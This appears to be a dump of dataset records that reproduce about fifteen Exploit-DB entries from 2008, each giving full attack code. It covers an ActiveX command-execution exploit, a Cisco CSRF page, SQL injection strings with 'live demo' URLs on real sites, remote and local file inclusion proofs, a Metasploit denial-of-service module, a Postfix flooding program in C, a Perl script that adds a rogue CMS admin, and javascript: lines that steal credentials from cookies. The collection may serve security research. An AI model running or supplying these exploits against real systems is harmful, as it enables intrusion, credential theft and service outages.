QLWD/code_shield huggingface dataset:
标题: NuMedia Soft Nms DVD Burning SDK - ActiveX 'NMSDVDX.dll' Command Execution EDB-ID: 6491 CVE: 2008-4342 类型: REMOTE 平台: WINDOWS 发布日期: 2008-09-19 漏洞利用脚本: <!--
5.06 19/09/2008 -----------------------------------------------------------

-- NuMedia Soft NMS DVD Burning SDK Activex (NMSDVDX.dll) remote exploit --
by Nine:Situations:Group::bruiser

software site: http://www.nugroovz.com/
our site: http://retrogod.altervista.org/

affected software: CDBurnerXP 4.2.1.976, ??
tested against IE6

settings:
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe:  Safe for untrusted: caller,data  
IPersist Safe:  Safe for untrusted: caller,data  

mitigation: an "unlicensed software" box appears
however, if the user close it or click "OK", the code will run normally

explaination: "EnableLog" method can be used to overwrite a specified file,
"LogMessage" one to write new lines on it. 
Trough the Help and Support Center and the pluggable "hcp://" protocol you 
can launch your file. Important to note: the Help Center will host the page 
with elevated privileges, allowing the page to script arbitrary controls 
with no prompts presented to the user.
This was suggested by rgod (see hj forum) as a way to immediately execute
the shell
---------------------------------------------------------------------------

-->
<html>
<title> :( </title>
<object classid='clsid:C2FBBB5F-6FF7-4F6B-93A3-7EDB509AA938' id='DVDEngineX' />
</object>

<script language='vbscript'>
    
    DVDEngineX.Initialize True
    
    sLogFileName="C:\\WINDOWS\\PCHEALTH\\HELPCTR\\System\\sysinfo\\msinfo.htm"
    bCreateNew=True
    DVDEngineX.EnableLog sLogFileName ,bCreateNew 
    
    nl=unescape("%0d%0a")
    'my garbage ...
    sMsg="<HTML>" & _
         "<SCRIPT LANGUAGE=VBScript>" & nl & _
         "Dim WshShell, oExec" & nl & _
         "Set WshShell = CreateObject(""WScript.Shell"")" & nl & _
         "Set oExec = WshShell.Exec(""calc"")" & nl & _ 
         "Do While oExec.Status = 0" & nl & _
         "WScript.Sleep 100" & nl & _
         "Loop" & nl & _
         "WScript.Echo oExec.Status" & nl & _
         "<" & Chr(47) & "SCRIPT>" & nl & _
         "<" & Chr(47) & "HTML>" 
    DVDEngineX.LogMessage sMsg 
    
    window.location = "hcp://system/sysinfo/msinfo.htm"

</script>
</html>

# milw0rm.com [2008-09-19] URL: https://www.exploit-db.com/exploits/6491
标题: Cisco Router - HTTP Administration Cross-Site Request Forgery / Command Execution (1) EDB-ID: 6476 CVE: 2008-4128 类型: REMOTE 平台: HARDWARE 发布日期: 2008-09-17 漏洞利用脚本: <!-- Jeremy Brown [0xjbrown41@gmail.com/http://jbrownsec.blogspot.com]
     Cisco Router HTTP Administration CSRF Remote Command Execution Universal Exploit #1
     Replace "10.10.10.1" with the IP address of the target router, embed this in a web
     page and hope for the best. Cisco Admin's + Safari are the best targets ;) -->

<html>
<body>

<body onload="asdf.submit();">



<form name=asdf method="post" action="http://10.10.10.1/level/15/exec/-">

<input type=hidden name=command value="show privilege">



<input type=hidden name=command_url value="/level/15/exec/-">

</body>
</html>

# milw0rm.com [2008-09-17] URL: https://www.exploit-db.com/exploits/6476
标题: phpRealty 0.3 - 'INC' Remote File Inclusion EDB-ID: 6473 CVE: 2008-4134 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-17 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
phpRealty <= 0.03 (INC) Remote File Inclusion Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

$ Script: phpRealty
$ Version: <= 0.03
$ File affected: manager/static/view.php
$ Download: http://sourceforge.net/project/showfiles.php?group_id=204745


Found by ka0x <ka0x01 [at] gmail [dot] com>
D.O.M Labs - Security Researchers
- www.domlabs.org


vuln code:

-------------

11: if(!isset($_GET['propID']) || !is_numeric($_GET['propID']) || empty($_GET['propID'])){
13: return;


17: include($INC."curr_conv.class.php");   // -------->>> Vuln Line!!
                                          // the var $INC isn't declared

-------------


Proof of Concept:
http://[host]/[phprealty-path]/manager/static/view.php?propID=0&INC= [ S H E L L ] ?


__EOF__

# milw0rm.com [2008-09-17] URL: https://www.exploit-db.com/exploits/6473
标题: iScripts EasyIndex - 'produid' SQL Injection EDB-ID: 6467 CVE: 2008-4169 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-16 漏洞利用脚本: #########################################################################################################################
[+] iScripts EasyIndex (produid) Remote SQL Injection
[+] Discovered By SirGod
[+] wWw.MorTal-TeaM.OrG
[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,HrN,kemrayz,007m,Raven,Nytr0gen,str0ke
########################################################################################################################
 [+] Remote SQL Injection


   PoC :

      http://[target]/[path]/detaillist.php?produid=[SQL]


   Example :

      http://127.0.0.1/iscripts/detaillist.php?produid=-1 union all
select 1,2,3,4,version(),database(),user(),8,9,10,11,12,13,14--


   Live Demo :

      http://www.dawsonvalley.net/business/detaillist.php?produid=-1
union all select
1,2,3,4,version(),database(),user(),8,9,10,11,12,13,14--


   - Note : the number of colums can vary.


##########################################################################################################################

# milw0rm.com [2008-09-16] URL: https://www.exploit-db.com/exploits/6467
标题: Hotel Reservation System - 'city.asp' Blind SQL Injection EDB-ID: 6470 CVE: 2008-4204 类型: WEBAPPS 平台: ASP 发布日期: 2008-09-16 漏洞利用脚本: # Hotel reservation System (city.asp city) Blind SQL Injection Vulnerability
# url: http://www.softacid.net/scripts/web-hotel-reservation-system.asp
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# Greetz To: All Hackers and milw0rm website


(blind-way): http://www.localhost/city.asp?city=['foo]

NOTE:     differents injections for each database.
NOTE (2): the Engine Microsoft Access hasn't functions time delay (not benchmark, not waitfor).

Ingenious function (Consultations heavy that generate delays of time):

"MS ACCESS 97, 2000"
1) * (select max(1) from MSysAccessObjects)
2) and (SELECT count(*) from MSysAccessObjects t1, MSysAccessObjects t2, MSysAccessObjects t3, 
MSysAccessObjects t4, MSysAccessObjects t5, MSysAccessObjects t6) > 0 and exists (select * from MSysAccessObjects)

"MS ACCESS 2003, 2007"
1) * (select max(1) from MSysAccessStorage)
2) and (SELECT count(*) from MSysAccessStorage t1, MSysAccessStorage t2, MSysAccessStorage t3, 
MSysAccessStorage t4, MSysAccessStorage t5, MSysAccessStorage t6) > 0 and exists (select * from MSysAccessStorage)


live demo: 
heavy consultation (23:35:51<-->23:36:26):

[quote]
-------------------------------------------------------------------------------------------------------------
joss@h4x0rz:~$ wget -v "http://www.hotelsk.net/city.asp?city=921%20and (SELECT count(*) from 
MSysAccessStorage t1, MSysAccessStorage t2, MSysAccessStorage t3, MSysAccessStorage t4, 
MSysAccessStorage t5, MSysAccessStorage t6) > 0 and exists (select * from MSysAccessStorage)" 
-O result.txt --23:35:51--  http://www.hotelsk.net/city.asp?city=921%20and%20(SELECT%20count(*)%20from%20
MSysAccessStorage%20t1,%20MSysAccessStorage%20t2,%20MSysAccessStorage%20t3,%20MSysAccessStorage%20t4,
%20MSysAccessStorage%20t5,%20MSysAccessStorage%20t6)%20%3E%200%20and%20exists%20(select%20*%20from%20MSysAccessStorage)
           => `result.txt'
Resolviendo www.hotelsk.net... 67.15.59.114
Connecting to www.hotelsk.net|67.15.59.114|:80... conectado.
PeticiÃ³n HTTP enviada, esperando respuesta... 200 OK
Longitud: 4,465 (4.4K) [text/html]

100%[====================================>] 4,465         18.53K/s

23:36:26 (18.53 KB/s) - `result.txt' saved [4465/4465]
------------------------------------------------------------------------------------------------------------
[/quote]

work funny :D - In memory of rgod

# milw0rm.com [2008-09-16] URL: https://www.exploit-db.com/exploits/6470
标题: Link Bid Script 1.5 - Multiple SQL Injections EDB-ID: 6466 CVE: 2008-4175 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-15 漏洞利用脚本: #################################################################################################################
[+] Link Bid Script 1.5 Multiple Remote SQL Injection
[+] Discovered By SirGod
[+] wWw.MorTal-TeaM.OrG
[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,HrN,kemrayz,007m,Raven,Nytr0gen,str0ke
#################################################################################################################

[+] Remote SQL Injection


  - Note : For PoC 2 you need administrative rights.

     PoC 1 :

       http://[target]/[path]/upgrade.php?ucat=[SQL]

     Example 1 :

       http://127.0.0.1/linkbid/upgrade.php?ucat=-1086 union all
select 1,2,3,version(),database(),6,user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35--

     Live Demo 1 :

       http://demo.linkbidscript.com/upgrade.php?ucat=-1086 union all
select 1,2,3,version(),database(),6,user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35--


-----------------------------------------------------------------------------------------------------------------

     PoC 2 :

       http://[target]/[path]/linkadmin/edit.php?id=[SQL]

     Example 2 :

       http://127.0.0.1/linkbid/linkadmin/edit.php?id=-1 union all
select 1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35--

#################################################################################################################

# milw0rm.com [2008-09-15] URL: https://www.exploit-db.com/exploits/6466
标题: WonderWare SuiteLink 2.0 - Remote Denial of Service (Metasploit) EDB-ID: 6474 CVE: 2008-2005 类型: DOS 平台: WINDOWS 发布日期: 2008-09-17 漏洞利用脚本: ##
# $Id: suitlink.rb $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Auxiliary::Dos::Windows::Wonderware::SuitLink < Msf::Auxiliary

 include Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info, 
   'Name'           => 'Wonderware SuitLink Denial of Service',
   'Description'    => %q{
    This module exploits a denial of service vulnerability
    within the SuitLink service in Wonderware products.
   },
   'Author'         => [ 'belay tows' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 1 $',
   'References'     =>
    [
     [ 'BID', '28974' ],
     [ 'CVE', '2008-2005' ],
    ],
   'DisclosureDate' => 'May 05 2008'))
   
   register_options([Opt::RPORT(5413),], self.class)
 end

 def run
  connect

  print_status("Sending DoS packet...")

        dos_length = 0xBAADF00D

  pkt =  "\xD5\xCF\xC7\xF8\x0B\xCD\xD3\x11\xAA\x10\x00\xA0\xC9\xEC\xFD\x9F"
  pkt << Rex::Text.rand_text_alpha(0x14) + "\x00\x00"
        pkt << [dos_length].pack("V")
 
        len = [pkt.length].pack("C")
  sock.put(len)
  
  sock.put(pkt)

        sleep 15 # wait to avoid thread shutdown event
  
  disconnect
 end

end
end 

# milw0rm.com [2008-09-17] URL: https://www.exploit-db.com/exploits/6474
标题: Pre Real Estate Listings - 'search.php' SQL Injection EDB-ID: 6465 CVE: 2008-4177 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-15 漏洞利用脚本: # Pre Real Estate Listings (search.php c) Remote SQL Injection Vulnerability
# url: http://preproject.com/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# Greetz To: All Hackers and milw0rm website


(SQL-way): http://www.localhost/search.php?c=(135['foo])

PoC: 135'+union+all+select+1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,concat(user(),char(32,35),database(),char(32,35),version()),1/*

live demo: 

http://preproject.com/ulisting/search.php?c=135'+union+all+select+1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,concat(user(),char(32,35),database(),char(32,35),version()),1/*

- In memory of rgod -

# milw0rm.com [2008-09-15] URL: https://www.exploit-db.com/exploits/6465
标题: Postfix < 2.4.9/2.5.5/2.6-20080902 - '.forward' Local Denial of Service EDB-ID: 6472 CVE: 2008-4042 类型: DOS 平台: MULTIPLE 发布日期: 2008-09-16 漏洞利用脚本: /*
 * http://www.wekk.net/research/CVE-2008-4042/CVE-2008-4042-exploit.c
 * http://www.wekk.net/research/CVE-2008-3889/CVE-2008-3889-exploit.c
 *
 * Exploit for Postfix 2.4 before 2.4.9, 2.5 before 2.5.5, and 2.6 
 * before 2.6-20080902, when used with the Linux 2.6 kernel.
 *
 * CVE-2008-3889 & CVE-2008-4042
 *
 * by Albert SellarÃ¨s <whats[at]wekk[dot]net> - http://www.wekk.net
 * and Marc Morata FitÃ© <marc.morata.fite[at]gmail[dot]com> 
 * 2008-09-16
 *
 * This Proof of concept creates a pipe and adds it in the postfix's epoll 
 * file descriptor.
 * When the pipe is added, an endless loop will launch lots of events to the 
 * local and master postfix processes. 
 * This will slowdown de system a lot.
 *
 * An example of use:
 * 1- Put the content "| ~/CVE-2008-3889-exploit >> /tmp/postfix.log &" (with 
 * the double quotes) 
 * in the file ~/.forward
 *
 * 2- Put the CVE-2008-4042-exploit in your home
 * gcc CVE-2008-3889-exploit.c -o CVE-2008-3889-exploit
 *
 * 3- Send and email to the user
 *
 * You can see the output at /tmp/postfix.log
 */


#include <sys/epoll.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dirent.h>
#include <errno.h>

#define FDOPEN 200


void add_fd(int fde, int fd) {
 printf("[*] Adding fd %d to eventpoll %d\n", fd, fde);
 static struct epoll_event ev;
 ev.events = EPOLLIN|EPOLLOUT|EPOLLPRI|EPOLLERR|EPOLLHUP|EPOLLET;
 errno =0;
 // If this is a socket fd, the load is high
 ev.data.u32 = 6;
 ev.data.u64 = 6;

 if (epoll_ctl(fde, EPOLL_CTL_ADD, fd, &ev) == 0) {
  printf(" => Fd %d added!\n", fd);
 } else {
  printf(" => Error (%d) adding fd %d\n", errno, fd);
 }
}

int main(int argc, char *argv[]) {

 int fds[2];
 char dir[32], c;
 int i, found = 0;

 pipe(fds);
 sprintf(dir, "/proc/%d/fd", getpid());
 printf("[*] Opening directory %s\n", dir);
 DIR *fd_dir = opendir(dir);
 struct dirent *de = readdir(fd_dir);

 // We are looking for the eventpoll file descriptor
 while (de != NULL) {
  char link_d[256];
  char link_f[256];
  memset(link_d, 0, 256);
  sprintf(link_f, "%s/%s", dir, de->d_name);
  readlink(link_f, link_d, 256);
  if ( strstr(link_d, "eventpoll") ) {
   found = 1;
   printf(" => %s points to %s\n", de->d_name, link_d);
   add_fd(atoi(de->d_name), fds[0]);
   // We can test with more than one triggered event at once
   for (i = 0; i<FDOPEN; i++)
    add_fd(atoi(de->d_name),dup(fds[0]));
  }
  de = readdir(fd_dir);
 }
 closedir(fd_dir);
 
 if (found == 0) {
  printf("[!] Are you sure that your postfix is vulnerable?\n");
  printf("[!] Are you launching me throw a .forward file?\n");
  exit(0);
 }
 
 printf("[*] Starting to flood the system!\n");
 fflush(stdout);
 close(0);
 close(1);
 close(2);

 // This triggers the events
 while (1) {
  write(fds[1], "A",1);
  read(fds[0],&c, 1);
 }

 return 0;
}

// milw0rm.com [2008-09-16] URL: https://www.exploit-db.com/exploits/6472
标题: CzarNews 1.20 - 'cookie' SQL Injection EDB-ID: 6462 CVE: 2008-4203 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-15 漏洞利用脚本: #!/usr/bin/perl
# ----------------------------------------------------------
# CzarNews <= v1.20 (Cookie) Remote SQL Injection Exploit
# Perl Exploit - Add a new admin with your credentials!
# Discovered On: 15/09/2008
# Discovered By: StAkeR - StAkeR[at]hotmail[dot]it
# ----------------------------------------------------------
# Usage: perl http://localhost/cms StAkeR obscure
# ----------------------------------------------------------

use strict;
use LWP::UserAgent;

my $email = 'some@example.net';
my ($hostname,$username,$password) = @ARGV;
my $request  = undef;
my $http_s   = new LWP::UserAgent or die $!;

$hostname = ($hostname =~ /^http:\/\/(.+?)$/) ? $ARGV[0] : banner();
banner() unless $username and $password;

$http_s->agent("Mozilla/4.5 [en] (Win95; U)");
$http_s->timeout(1);
$http_s->default_header('Cookie' => "recook=' or '1=1,' or '1=1");           

$request = $http_s->post($hostname."/cn_users.php",
                         [
                          user    => $username,
                          pass    => $password,
                          email   => $email,
                          allcats => "all",
                          admin   => "off",
                          news    => "on",
                          images  => "on",
                          users   => "on",
                          categories => "on",
                          config  => "on",
                          words  => "on",
                          op => "add",
                          id => '',
                          go  => "true",
                          submit => "Add+User"
                        ]);
        
if($request->is_success)
{
  if($request->content =~ /has been added/i)
  {
    print "[+] Added New Administrator: $username & $password\n";
  }
  else
  {
    print "[!] Exploit Failed!\n";
    print "[!] Site Not Vulnerable\n";
  }
}


sub banner
{
  print "[+] CzarNews <= v1.20 Remote SQL Injection Exploit (add new admin)\n";
  print "[+] Usage: perl exploit.pl [host] [username] [password]\n";
  return exit;
}

# milw0rm.com [2008-09-15] URL: https://www.exploit-db.com/exploits/6462
标题: cPanel 11.x - 'Fantastico' Local File Inclusion EDB-ID: 6461 CVE: 2008-4181 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-14 漏洞利用脚本: ##############################################################
Fantastico In all Version Cpanel 11.x <= local File Include

##############################################################


Must login to  :2082
To break the protection   mod_security  & safe_mode: off  & Disable functions :  all none

 

Vulnerable Code

$licensing_servers=$fantasticopath . "/includes/enc_licensing_servers.php";
if (is_file($licensing_servers))
       {
       include($licensing_servers);


in

http://xx.com:2082/frontend/x/fantastico/includes/xml.php


Exploit >>

First Create directory Let the name  /includes/ and upload Shell.php  in  /includes/  Then  rename it to enc_licensing_servers.php


:::xploit::::

http://xxx.com:2082/frontend/x/fantastico/includes/xml.php?fantasticopath=/home/user

 

###################################################

Discoverd By : joker_1

 

for info : pl57@msn.com

 

###################################################

Special Greetings :- sniper-sa.com & Group XP & Alm3reFh.Com & Genral kbkb & step on the snow & red trigger & qalbhamad & saudi star

###################################################

# milw0rm.com [2008-09-14] URL: https://www.exploit-db.com/exploits/6461
标题: CzarNews 1.20 - Account Hijacking SQL Injection EDB-ID: 6464 CVE: 2008-4203 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-15 漏洞利用脚本: czarNews Account Hijacking <= 1.20 user and password Leak
----------------------------------------------------------

 Author: Maycon Maia Vitali ( 0ut0fBound )
Contact: mayconmaia at yahoo dot com dot br
         http://maycon.gsec.com.br

Original Xploit by StAkeR ( http://www.milw0rm.com/exploits/6462 )


Gerenal Xploit:
---------------

1) Go to some page with CzarNews 1.20. You are in the 'Login Page'
2) Put in the URL: javascript:document.cookie="recook=' or ''=',' or
''='";void(0);
3) Refresh the page. Now you are logged in.
4) Put in the URL:
javascript:c=document.cookie;p=c.substr(c.lastIndexOf('=')+1).split(/%../);a
lert("Login: " + p[0] + "\nPass: " + p[1]);void(0);
5) With this you getted the current user and password

Attacking Especific User:
-------------------------

If you have some user that you need Xploit, You can change the step 2 by
this:

2) Put in the URL:
javascript:document.cookie="recook=[USER],'+or+''='";void(0);

Where [USER] need to be replaced with user name (e.g. admin)


enjoy,
0ut0fBound

# milw0rm.com [2008-09-15] URL: https://www.exploit-db.com/exploits/6464
标题: PHP Crawler 0.8 - Remote File Inclusion EDB-ID: 6475 CVE: 2008-4137 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-17 漏洞利用脚本: ################## Piker #######################################
#
#
#    PHP-Crawler v0.8 Remote File Inclusion Vulnerability
#
#
#    Affected software: PHP-Crawler 0.8
#    Vendor: http://sourceforge.net/projects/php-crawler/
#    Risk: Critical
#
################################################################
#
#    http://[target]/[path]/footer.php?footer_file=[SHELL]
#
################################################################
#
#         Found by Piker [piker0x90(at)gmail(dot)com]
#            D.O.M Labs - Security Researchers
#           www.domlabs.org
#
#
################################################################

# milw0rm.com [2008-09-17] URL: https://www.exploit-db.com/exploits/6475
标题: Gonafish LinksCaffePRO 4.5 - 'index.php' SQL Injection EDB-ID: 6469 CVE: 2008-4202 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-16 漏洞利用脚本: ###########################################################
# 
#        ___    __ __                  __  __            
#       /\_ \  /\ \\ \                /\ \/\ \           
#   ____\//\ \ \ \ \\ \    __  _ __  _\ \ \ \ \  ____    
#  /',__\ \ \ \ \ \ \\ \_ /\ \/'\\ \/'\\ \ \ \ \/\_ ,`\  
# /\__, `\ \_\ \_\ \__ ,__\\>  <\\>   <\\ \ \_\ \/_/  /_ 
# \/\____/ /\____\\/_/\_\_//\_/\_\\_/\_\ \ \_____\/\____\
#  \/___/  \/____/   \/_/  \//\/_///\/_/  \/_____/\/____/
# 
#                                 security breakd0wn!
###########################################################
# 
# Title: Gonafish LinksCaffePRO 4.5 (index.php) SQL Injection Vulnerability
# Vendor: http://gonafish.com/
# Vulnerable Version: 4.5
# Fix: N/A
# 
###########################################################
# 
# disc0vered: sl4xUz
# c0ntact: sl4x.xuz[at]gmail[dot]com
# d0rk: "negative"
# stop lammo
# 
###########################################################

######################
  1. Information
######################
     LinksCaffePRO is a MySQL database driven link indexing script written in PHP 4. Using the admin script you have full control to add/modify/remove any link(s) or categorie(s).

######################
  2. Vulnerabilities
######################
     SQL Injection in "index.php" in the "idd" parameter.

######################
  3. PoC
######################
     http://localhost/path/index.php?action=deadlink&idd=-1+union+select+1,2,version(),4,concat(user(),0x3a,database()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--

###########################################################

# milw0rm.com [2008-09-16] URL: https://www.exploit-db.com/exploits/6469